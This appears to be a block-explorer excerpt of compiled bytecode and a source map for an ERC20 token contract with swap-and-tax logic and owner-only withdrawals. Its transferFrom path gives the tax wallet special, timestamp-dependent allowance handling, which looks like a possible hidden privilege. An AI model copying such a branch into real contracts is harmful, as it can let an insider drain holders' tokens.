290911660848201524260a482015260c40160606040518083038185885af115801561069c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106c191906117ec565b5050506001600160a01b03165f818152600360205260409020805460ff19166001179055600480546001600160a01b0319169091179055565b5f6107076009600a6117c7565b61071590633b9aca006117d5565b905090565b5f610726848484610c0c565b6107df84336004546105ed9061074e906001600160a01b031633186001600160a01b03161590565b801561078557506107836107695f546001600160a01b031690565b6004546001600160a01b0316186001600160a01b03161590565b155b61078f578561079c565b60085461079c90426117d5565b604051806060016040528060288152602001611930602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111e6565b5060019392505050565b5f546001600160a01b031633146108125760405162461bcd60e51b81526004016103d390611683565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146108835760405162461bcd60e51b81526004016103d390611683565b61088f6009600a6117c7565b61089d90633b9aca006117d5565b600d556108ac6009600a6117c7565b6108ba90633b9aca006117d5565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108ea6009600a6117c7565b6108f890633b9aca006117d5565b60405190815260200160405180910390a1565b5f546001600160a01b031633146109345760405162461bcd60e51b81526004016103d390611683565b6040516370a0823160e01b81523060048201525f906109b5906064906109af9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610985573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a99190611817565b9061121e565b906112a3565b90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015610a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a35919061182e565b50505050565b5f6103a0338484610c0c565b5f546001600160a01b03163314610a705760405162461bcd60e51b81526004016103d390611683565b6012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ab25760405162461bcd60e51b81526004016103d390611683565b5f4711610abd575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610ae6573d5f803e3d5ffd5b50565b6001600160a01b038316610b4b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d3565b6001600160a01b038216610bac5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d3565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c705760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d3565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d3565b5f8111610d335760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103d3565b5f80546001600160a01b03858116911614801590610d5e57505f546001600160a01b03848116911614155b156110a9576012546001600160a01b038581169116148015610d8e57506011546001600160a01b03848116911614155b8015610db257506001600160a01b0383165f9081526003602052604090205460ff16155b15610f1157601254600160a01b900460ff16610e085760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b60448201526064016103d3565b610e2e60646109af600954600c5411610e2357600554610e27565b6007545b859061121e565b9050600d54821115610e825760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103d3565b600e5482610ea4856001600160a01b03165f9081526001602052604090205490565b610eae919061184d565b1115610efc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d3565b600c8054905f610f0b83611860565b91905055505b6012546001600160a01b03848116911614801590610f4757506001600160a01b0383165f9081526003602052604090205460ff16155b15610fc657600e5482610f6e856001600160a01b03165f9081526001602052604090205490565b610f78919061184d565b1115610fc65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103d3565b6012546001600160a01b038481169116148015610fec57506001600160a01b0384163014155b156110195761101660646109af600a54600c541161100c57600654610e27565b600854859061121e565b90505b601254600160a81b900460ff1615801561104057506012546001600160a01b038481169116145b80156110555750601254600160b01b900460ff165b80156110645750600b54600c54115b156110a957305f90815260016020526040902054600f5481111561109f5761109f61109a84611095846010546112e4565b6112e4565b6112f8565b6110a7611468565b505b801561112157305f908152600160205260409020546110c8908261149e565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111189085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461114390836114fc565b6001600160a01b0385165f9081526001602052604090205561118661116883836114fc565b6001600160a01b0385165f908152600160205260409020549061149e565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111cf85856114fc565b60405190815260200160405180910390a350505050565b5f81848411156112095760405162461bcd60e51b81526004016103d39190611569565b505f6112158486611878565b95945050505050565b5f825f0361122d57505f6103a4565b5f61123883856117d5565b905082611245858361188b565b1461129c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103d3565b9392505050565b5f61129c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153d565b5f8183116112f2578261129c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061133e5761133e6118aa565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611395573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113b991906116b8565b816001815181106113cc576113cc6118aa565b6001600160a01b0392831660209182029290920101526011546113f29130911684610ae9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a9085905f908690309042906004016118be565b5f604051808303815f87803b158015611441575f80fd5b505af1158015611453573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ae6573d5f803e3d5ffd5b5f806114aa838561184d565b90508381101561129c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103d3565b5f61129c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e6565b5f818361155d5760405162461bcd60e51b81526004016103d39190611569565b505f611215848661188b565b5f602080835283518060208501525f5b8181101561159557858101830151858201604001528201611579565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ae6575f80fd5b5f80604083850312156115da575f80fd5b82356115e5816115b5565b946020939093013593505050565b5f60208284031215611603575f80fd5b813561129c816115b5565b5f805f60608486031215611620575f80fd5b833561162b816115b5565b9250602084013561163b816115b5565b929592945050506040919091013590565b5f806040838503121561165d575f80fd5b8235611668816115b5565b91506020830135611678816115b5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116c8575f80fd5b815161129c816115b5565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172157815f1904821115611707576117076116d3565b8085161561171457918102915b93841c93908002906116ec565b509250929050565b5f82611737575060016103a4565b8161174357505f6103a4565b816001811461175957600281146117635761177f565b60019150506103a4565b60ff841115611774576117746116d3565b50506001821b6103a4565b5060208310610133831016604e8410600b84101617156117a2575081810a6103a4565b6117ac83836116e7565b805f19048211156117bf576117bf6116d3565b029392505050565b5f61129c60ff841683611729565b80820281158282048414176103a4576103a46116d3565b5f805f606084860312156117fe575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611827575f80fd5b5051919050565b5f6020828403121561183e575f80fd5b8151801515811461129c575f80fd5b808201808211156103a4576103a46116d3565b5f60018201611871576118716116d3565b5060010190565b818103818111156103a4576103a46116d3565b5f826118a557634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561190e5784516001600160a01b0316835293830193918301916001016118e9565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fcc3ed606537c59034374f776afebf1a2422d238859a7ee8443c830eac833cac64736f6c63430008180033

Deployed Bytecode Sourcemap

3579:7875:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5277:83;;;;;;;;;;-1:-1:-1;5347:5:0;;;;;;;;;;;-1:-1:-1;;;5347:5:0;;;;5277:83;;;;5347:5;5277:83;:::i;:::-;;;;;;;;6846:161;;;;;;;;;;-1:-1:-1;6846:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6846:161:0;1023:187:1;4600:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4600:45:0;1215:177:1;10681:615:0;;;;;;;;;;-1:-1:-1;10681:615:0;;;;;:::i;:::-;;:::i;:::-;;5554:95;;;;;;;;;;;;;:::i;6409:429::-;;;;;;;;;;-1:-1:-1;6409:429:0;;;;;:::i;:::-;;:::i;5463:83::-;;;;;;;;;;-1:-1:-1;5463:83:0;;4235:1;2252:36:1;;2240:2;2225:18;5463:83:0;2110:184:1;5657:120:0;;;;;;;;;;-1:-1:-1;5657:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;5750:19:0;5723:7;5750:19;;;:10;:19;;;;;;;5657:120;2660:148;;;;;;;;;;;;;:::i;10015:159::-;;;;;;;;;;;;;:::i;10439:234::-;;;;;;;;;;-1:-1:-1;10439:234:0;;;;;:::i;:::-;;:::i;4430:49::-;;;;;;;;;;;;;;;;2446:79;;;;;;;;;;-1:-1:-1;2484:7:0;2511:6;2446:79;;-1:-1:-1;;;;;2511:6:0;;;2445:51:1;;2433:2;2418:18;2446:79:0;2299:203:1;4486:49:0;;;;;;;;;;;;;;;;5785:167;;;;;;;;;;-1:-1:-1;5785:167:0;;;;;:::i;:::-;;:::i;4542:51::-;;;;;;;;;;;;;;;;11306:108;;;;;;;;;;;;;:::i;10274:157::-;;;;;;;;;;;;;:::i;6259:142::-;;;;;;;;;;-1:-1:-1;6259:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6367:17:0;;;6340:7;6367:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6259:142;6846:161;6921:4;6938:39;281:10;6961:7;6970:6;6938:8;:39::i;:::-;-1:-1:-1;6995:4:0;6846:161;;;;;:::o;10681:615::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;;;;;;;;;10762:11:::1;::::0;-1:-1:-1;;;10762:11:0;::::1;;;10761:12;10753:47;;;::::0;-1:-1:-1;;;10753:47:0;;3463:2:1;10753:47:0::1;::::0;::::1;3445:21:1::0;3502:2;3482:18;;;3475:30;3541:25;3521:18;;;3514:53;3584:18;;10753:47:0::1;3261:347:1::0;10753:47:0::1;10811:15;:80:::0;;-1:-1:-1;;;;;;10811:80:0::1;10848:42;10811:80:::0;;::::1;::::0;;;10936:25:::1;::::0;;-1:-1:-1;;;10936:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10848:42;10936:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10918:55:0::1;;10982:4;10989:15;;;;;;;;;-1:-1:-1::0;;;;;10989:15:0::1;-1:-1:-1::0;;;;;10989:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10918:94;::::0;-1:-1:-1;;;;;;10918:94:0::1;::::0;;;;;;-1:-1:-1;;;;;4099:15:1;;;10918:94:0::1;::::0;::::1;4081:34:1::0;4151:15;;4131:18;;;4124:43;4016:18;;10918:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10902:13;:110:::0;;-1:-1:-1;;;;;;10902:110:0::1;-1:-1:-1::0;;;;;10902:110:0;;::::1;;::::0;;11055:15:::1;::::0;11023:58:::1;::::0;11040:4:::1;::::0;11055:15:::1;4294;4235:1;4294:2;:15;:::i;:::-;4278:31;::::0;:13:::1;:31;:::i;:::-;11023:8;:58::i;:::-;11092:15;::::0;-1:-1:-1;;;;;11092:15:0::1;:31;11131:21;11162:4;11168:24;11162:4:::0;-1:-1:-1;;;;;5750:19:0;5723:7;5750:19;;;:10;:19;;;;;;;5657:120;11168:24:::1;11193:1;11195::::0;11197:7:::1;2484::::0;2511:6;-1:-1:-1;;;;;2511:6:0;;2446:79;11197:7:::1;11092:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11092:129:0;;;-1:-1:-1;;;;;6219:15:1;;;11092:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;11205:15:0::1;6433:19:1::0;;;6426:35;6135:19;;11092:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;;;;11232:14:0::1;;::::0;;;:7:::1;:14;::::0;;;;:21;;-1:-1:-1;;11232:21:0::1;11249:4;11232:21;::::0;;11264:7:::1;:24:::0;;-1:-1:-1;;;;;;11264:24:0::1;::::0;;::::1;::::0;;10681:615::o;5554:95::-;5607:7;4294:15;4235:1;4294:2;:15;:::i;:::-;4278:31;;:13;:31;:::i;:::-;5627:14;;5554:95;:::o;6409:429::-;6507:4;6524:36;6534:6;6542:9;6553:6;6524:9;:36::i;:::-;6580:228;6589:6;281:10;6651:7;;6611:196;;6648:25;;-1:-1:-1;;;;;6651:7:0;281:10;7428:23;-1:-1:-1;;;;;7428:28:0;;;7357:102;6648:25;:59;;;;;6687:20;6690:7;2484;2511:6;-1:-1:-1;;;;;2511:6:0;;2446:79;6690:7;6699;;-1:-1:-1;;;;;6699:7:0;7428:23;-1:-1:-1;;;;;7428:28:0;;;7357:102;6687:20;6686:21;6648:59;:114;;6756:6;6648:114;;;6729:13;;6711:31;;:15;:31;:::i;:::-;6611:196;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6611:18:0;;;;;;:10;:18;;;;;;;;281:10;6611:32;;;;;;;;;;:36;:196::i;6580:228::-;-1:-1:-1;6826:4:0;6409:429;;;;;:::o;2660:148::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;2767:1:::1;2751:6:::0;;2730:40:::1;::::0;-1:-1:-1;;;;;2751:6:0;;::::1;::::0;2730:40:::1;::::0;2767:1;;2730:40:::1;2798:1;2781:19:::0;;-1:-1:-1;;;;;;2781:19:0::1;::::0;;2660:148::o;10015:159::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;4294:15:::1;4235:1;4294:2;:15;:::i;:::-;4278:31;::::0;:13:::1;:31;:::i;:::-;10068:12;:22:::0;4294:15:::1;4235:1;4294:2;:15;:::i;:::-;4278:31;::::0;:13:::1;:31;:::i;:::-;10101:14;:22:::0;10139:27:::1;4294:15;4235:1;4294:2;:15;:::i;:::-;4278:31;::::0;:13:::1;:31;:::i;:::-;10139:27;::::0;1361:25:1;;;1349:2;1334:18;10139:27:0::1;;;;;;;10015:159::o:0;10439:234::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;10543:41:::1;::::0;-1:-1:-1;;;10543:41:0;;10578:4:::1;10543:41;::::0;::::1;2445:51:1::0;10525:15:0::1;::::0;10543:63:::1;::::0;10602:3:::1;::::0;10543:54:::1;::::0;10589:7;;-1:-1:-1;;;;;10543:26:0;::::1;::::0;::::1;::::0;2418:18:1;;10543:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10525:81:::0;-1:-1:-1;;;;;;10617:25:0;::::1;;281:10:::0;10617:48:::1;::::0;-1:-1:-1;;;;;;10617:48:0::1;::::0;;;;;;-1:-1:-1;;;;;7164:32:1;;;10617:48:0::1;::::0;::::1;7146:51:1::0;7213:18;;;7206:34;;;7119:18;;10617:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10514:159;10439:234:::0;;:::o;5785:167::-;5863:4;5880:42;281:10;5904:9;5915:6;5880:9;:42::i;11306:108::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;11359:11:::1;:18:::0;;-1:-1:-1;;;;11388:18:0;-1:-1:-1;;;11388:18:0;;;11306:108::o;10274:157::-;2573:6;;-1:-1:-1;;;;;2573:6:0;281:10;2573:22;2565:67;;;;-1:-1:-1;;;2565:67:0;;;;;;;:::i;:::-;10357:1:::1;10333:21;:25;10325:34;;;::::0;::::1;;10370:53;::::0;281:10;;10401:21:::1;10370:53:::0;::::1;;;::::0;::::1;::::0;;;10401:21;281:10;10370:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10274:157::o:0;7015:334::-;-1:-1:-1;;;;;7108:19:0;;7100:68;;;;-1:-1:-1;;;7100:68:0;;7735:2:1;7100:68:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:34;7908:19;;7100:68:0;7533:400:1;7100:68:0;-1:-1:-1;;;;;7187:21:0;;7179:68;;;;-1:-1:-1;;;7179:68:0;;8140:2:1;7179:68:0;;;8122:21:1;8179:2;8159:18;;;8152:30;8218:34;8198:18;;;8191:62;-1:-1:-1;;;8269:18:1;;;8262:32;8311:19;;7179:68:0;7938:398:1;7179:68:0;-1:-1:-1;;;;;7258:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7309:32;;1361:25:1;;;7309:32:0;;1334:18:1;7309:32:0;;;;;;;7015:334;;;:::o;7467:1956::-;-1:-1:-1;;;;;7555:18:0;;7547:68;;;;-1:-1:-1;;;7547:68:0;;8543:2:1;7547:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7547:68:0;8341:401:1;7547:68:0;-1:-1:-1;;;;;7634:16:0;;7626:64;;;;-1:-1:-1;;;7626:64:0;;8949:2:1;7626:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7626:64:0;8747:399:1;7626:64:0;7718:1;7709:6;:10;7701:64;;;;-1:-1:-1;;;7701:64:0;;9353:2:1;7701:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7701:64:0;9151:405:1;7701:64:0;7776:17;2511:6;;-1:-1:-1;;;;;7810:15:0;;;2511:6;;7810:15;;;;:32;;-1:-1:-1;2484:7:0;2511:6;-1:-1:-1;;;;;7829:13:0;;;2511:6;;7829:13;;7810:32;7806:1255;;;7873:13;;-1:-1:-1;;;;;7865:21:0;;;7873:13;;7865:21;:55;;;;-1:-1:-1;7904:15:0;;-1:-1:-1;;;;;7890:30:0;;;7904:15;;7890:30;;7865:55;:72;;;;-1:-1:-1;;;;;;7926:11:0;;;;;;:7;:11;;;;;;;;7924:13;7865:72;7861:472;;;7967:11;;-1:-1:-1;;;7967:11:0;;;;7959:44;;;;-1:-1:-1;;;7959:44:0;;9763:2:1;7959:44:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:51;9882:18;;7959:44:0;9561:345:1;7959:44:0;8034:76;8106:3;8034:67;8056:15;;8046:9;;:25;8045:55;;8086:14;;8045:55;;;8073:12;;8045:55;8034:6;;:10;:67::i;:76::-;8022:88;;8147:12;;8137:6;:22;;8129:60;;;;-1:-1:-1;;;8129:60:0;;10113:2:1;8129:60:0;;;10095:21:1;10152:2;10132:18;;;10125:30;10191:27;10171:18;;;10164:55;10236:18;;8129:60:0;9911:349:1;8129:60:0;8242:14;;8232:6;8216:13;8226:2;-1:-1:-1;;;;;5750:19:0;5723:7;5750:19;;;:10;:19;;;;;;;5657:120;8216:13;:22;;;;:::i;:::-;:40;;8208:79;;;;-1:-1:-1;;;8208:79:0;;10597:2:1;8208:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8208:79:0;10395:350:1;8208:79:0;8306:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7861:472;8359:13;;-1:-1:-1;;;;;8353:19:0;;;8359:13;;8353:19;;;;:36;;-1:-1:-1;;;;;;8378:11:0;;;;;;:7;:11;;;;;;;;8376:13;8353:36;8349:156;;;8444:14;;8434:6;8418:13;8428:2;-1:-1:-1;;;;;5750:19:0;5723:7;5750:19;;;:10;:19;;;;;;;5657:120;8418:13;:22;;;;:::i;:::-;:40;;8410:79;;;;-1:-1:-1;;;8410:79:0;;10597:2:1;8410:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8410:79:0;10395:350:1;8410:79:0;8530:13;;-1:-1:-1;;;;;8524:19:0;;;8530:13;;8524:19;:44;;;;-1:-1:-1;;;;;;8547:21:0;;8563:4;8547:21;;8524:44;8521:175;;;8601:79;8676:3;8601:70;8623:16;;8613:9;;:26;8612:58;;8655:15;;8612:58;;;8641:13;;8601:6;;:10;:70::i;:79::-;8589:91;;8521:175;8717:6;;-1:-1:-1;;;8717:6:0;;;;8716:7;:30;;;;-1:-1:-1;8733:13:0;;-1:-1:-1;;;;;8727:19:0;;;8733:13;;8727:19;8716:30;:45;;;;-1:-1:-1;8750:11:0;;-1:-1:-1;;;8750:11:0;;;;8716:45;:77;;;;;8775:18;;8765:9;;:28;8716:77;8712:338;;;8863:4;8814:28;5750:19;;;:10;:19;;;;;;8912:17;;8891:38;;8888:119;;;8952:55;8957:49;8961:6;8968:37;8972:20;8993:11;;8968:3;:37::i;:::-;8957:3;:49::i;:::-;8952:4;:55::i;:::-;9026:8;:6;:8::i;:::-;8795:255;8712:338;9076:11;;9073:163;;9146:4;9127:25;;;;:10;:25;;;;;;:40;;9157:9;9127:29;:40::i;:::-;9120:4;9101:25;;;;:10;:25;;;;;;;:66;;;;9185:39;;-1:-1:-1;;;;;9185:39:0;;;;;;;9214:9;1361:25:1;;1349:2;1334:18;;1215:177;9185:39:0;;;;;;;;9073:163;-1:-1:-1;;;;;9263:16:0;;;;;;:10;:16;;;;;;:28;;9284:6;9263:20;:28::i;:::-;-1:-1:-1;;;;;9246:16:0;;;;;;:10;:16;;;;;:45;9317:41;9336:21;:6;9347:9;9336:10;:21::i;:::-;-1:-1:-1;;;;;9317:14:0;;;;;;:10;:14;;;;;;;:18;:41::i;:::-;-1:-1:-1;;;;;9302:14:0;;;;;;;:10;:14;;;;;:56;;;;9374:41;;;9393:21;:6;9404:9;9393:10;:21::i;:::-;9374:41;;1361:25:1;;;1349:2;1334:18;9374:41:0;;;;;;;7536:1887;7467:1956;;;:::o;1338:190::-;1424:7;1460:12;1452:6;;;;1444:29;;;;-1:-1:-1;;;1444:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1484:9:0;1496:5;1500:1;1496;:5;:::i;:::-;1484:17;1338:190;-1:-1:-1;;;;;1338:190:0:o;1536:246::-;1594:7;1618:1;1623;1618:6;1614:47;;-1:-1:-1;1648:1:0;1641:8;;1614:47;1671:9;1683:5;1687:1;1683;:5;:::i;:::-;1671:17;-1:-1:-1;1716:1:0;1707:5;1711:1;1671:17;1707:5;:::i;:::-;:10;1699:56;;;;-1:-1:-1;;;1699:56:0;;11447:2:1;1699:56:0;;;11429:21:1;11486:2;11466:18;;;11459:30;11525:34;11505:18;;;11498:62;-1:-1:-1;;;11576:18:1;;;11569:31;11617:19;;1699:56:0;11245:397:1;1699:56:0;1773:1;1536:246;-1:-1:-1;;;1536:246:0:o;1790:132::-;1848:7;1875:39;1879:1;1882;1875:39;;;;;;;;;;;;;;;;;:3;:39::i;9433:98::-;9490:7;9517:1;9515;:3;9514:9;;9522:1;9514:9;;;-1:-1:-1;9520:1:0;9433:98;-1:-1:-1;9433:98:0:o;9539:468::-;4911:6;:13;;-1:-1:-1;;;;4911:13:0;-1:-1:-1;;;4911:13:0;;;9628:16:::1;::::0;;9642:1:::1;9628:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9628:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9628:16:0::1;9604:40;;9673:4;9655;9660:1;9655:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9655:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9699:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9699:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9655:7;;9699:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9689:4;9694:1;9689:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9689:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9764:15:::1;::::0;9732:61:::1;::::0;9749:4:::1;::::0;9764:15:::1;9782:10:::0;9732:8:::1;:61::i;:::-;9804:15;::::0;:195:::1;::::0;-1:-1:-1;;;9804:195:0;;-1:-1:-1;;;;;9804:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;9885:10;;9804:15:::1;::::0;9926:4;;9953::::1;::::0;9973:15:::1;::::0;9804:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4947:6:0;:14;;-1:-1:-1;;;;4947:14:0;;;-1:-1:-1;;;;9539:468:0:o;10182:84::-;10219:7;;:39;;-1:-1:-1;;;;;10219:7:0;;;;10236:21;10219:39;;;;;:7;:39;:7;:39;10236:21;10219:7;:39;;;;;;;;;;;;;;;;;;;1007:179;1065:7;;1097:5;1101:1;1097;:5;:::i;:::-;1085:17;;1126:1;1121;:6;;1113:46;;;;-1:-1:-1;;;1113:46:0;;13098:2:1;1113:46:0;;;13080:21:1;13137:2;13117:18;;;13110:30;13176:29;13156:18;;;13149:57;13223:18;;1113:46:0;12896:351:1;1194:136:0;1252:7;1279:43;1283:1;1286;1279:43;;;;;;;;;;;;;;;;;:3;:43::i;1930:189::-;2016:7;2051:12;2044:5;2036:28;;;;-1:-1:-1;;;2036:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2075:9:0;2087:5;2091:1;2087;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:247::-;1456:6;1509:2;1497:9;1488:7;1484:23;1480:32;1477:52;;;1525:1;1522;1515:12;1477:52;1564:9;1551:23;1583:31;1608:5;1583:31;:::i;1649:456::-;1726:6;1734;1742;1795:2;1783:9;1774:7;1770:23;1766:32;1763:52;;;1811:1;1808;1801:12;1763:52;1850:9;1837:23;1869:31;1894:5;1869:31;:::i;:::-;1919:5;-1:-1:-1;1976:2:1;1961:18;;1948:32;1989:33;1948:32;1989:33;:::i;:::-;1649:456;;2041:7;;-1:-1:-1;;;2095:2:1;2080:18;;;;2067:32;;1649:456::o;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;